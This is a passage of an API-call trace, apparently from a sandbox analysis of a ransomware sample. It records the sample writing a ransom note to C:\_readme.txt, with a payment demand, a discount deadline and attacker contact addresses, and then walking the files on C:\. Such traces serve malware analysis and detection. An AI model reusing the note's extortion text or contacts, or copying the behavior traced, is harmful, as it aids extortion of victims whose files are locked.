hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.311] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.312] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.312] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.312] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.312] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.312] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.312] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.312] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.312] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.312] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.312] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.312] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.312] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.312] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.312] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.312] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.312] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.312] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.312] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.312] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.312] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.312] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.312] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.312] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.312] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.312] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.312] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.312] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.312] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.312] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.312] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.312] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.312] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.312] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.313] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.313] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.313] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.313] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.313] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.313] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.313] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.313] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.313] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.313] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.313] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.313] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.313] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.313] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.313] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.313] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.313] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.313] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.313] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.313] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.313] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.313] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.313] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.313] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.313] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.313] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.313] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.313] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.313] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.313] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.313] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.313] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.314] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.314] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.314] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.314] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.314] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.314] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.314] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.314] PathFindFileNameW (pszPath="") returned="" [0066.314] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.314] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.314] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x800) returned 0x3178dd8 [0066.314] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.315] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x810) returned 0x32476f0 [0066.315] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fe20 [0066.315] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.315] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.315] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fe20 | out: hHeap=0x5d0000) returned 1 [0066.315] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.315] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x806) returned 0x3178dd8 [0066.315] PathAppendW (in: pszPath="C:\\", pMore="_readme.txt" | out: pszPath="C:\\_readme.txt") returned 1 [0066.315] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x810) returned 0x32476f0 [0066.315] PathFileExistsW (pszPath="C:\\_readme.txt") returned 0 [0066.315] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x7d00) returned 0x32b2f40 [0066.315] lstrcpyW (in: lpString1=0x32b2f40, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg" [0066.316] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg", lpString2="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb" [0066.316] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x810) returned 0x3247f78 [0066.316] CreateFileW (lpFileName="C:\\_readme.txt" (normalized: "c:\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0066.316] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c0) returned 0x329cf20 [0066.316] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x85c) returned 0x3177118 [0066.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3177118, cbMultiByte=2140, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 1117 [0066.316] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3177980 [0066.316] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.316] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x329cf20 | out: hHeap=0x5d0000) returned 1 [0066.316] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned 1116 [0066.316] WriteFile (in: hFile=0x5c4, lpBuffer=0x3177980*, nNumberOfBytesToWrite=0x45c, lpNumberOfBytesWritten=0x38cfb64, lpOverlapped=0x0 | out: lpBuffer=0x3177980*, lpNumberOfBytesWritten=0x38cfb64*=0x45c, lpOverlapped=0x0) returned 1 [0066.317] CloseHandle (hObject=0x5c4) returned 1 [0066.318] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177980 | out: hHeap=0x5d0000) returned 1 [0066.318] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.318] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0066.318] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.318] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x31bee60 [0066.318] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fe20 [0066.318] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316b3f0 [0066.318] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fe20 | out: hHeap=0x5d0000) returned 1 [0066.318] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316b1c0 [0066.318] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x1c) returned 0x325fe20 [0066.318] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316aeb0 [0066.319] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b1c0 | out: hHeap=0x5d0000) returned 1 [0066.319] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b3f0 | out: hHeap=0x5d0000) returned 1 [0066.319] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0066.319] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f718 [0066.319] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.319] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x38) returned 0x31befa0 [0066.319] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316b3f0 [0066.319] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316aeb0 | out: hHeap=0x5d0000) returned 1 [0066.319] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fe20 | out: hHeap=0x5d0000) returned 1 [0066.319] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fe20 [0066.319] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.319] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f718 | out: hHeap=0x5d0000) returned 1 [0066.319] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0066.319] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0066.319] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0066.319] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f718 [0066.319] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.319] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x54) returned 0x3285c68 [0066.319] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316aeb0 [0066.319] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fb00 [0066.319] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b3f0 | out: hHeap=0x5d0000) returned 1 [0066.319] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fe20 | out: hHeap=0x5d0000) returned 1 [0066.319] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31befa0 | out: hHeap=0x5d0000) returned 1 [0066.319] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fe20 [0066.319] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.319] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f718 | out: hHeap=0x5d0000) returned 1 [0066.319] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0066.319] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187078 [0066.319] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3186fe8 [0066.319] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0066.319] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316b3f0 [0066.319] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f718 [0066.320] 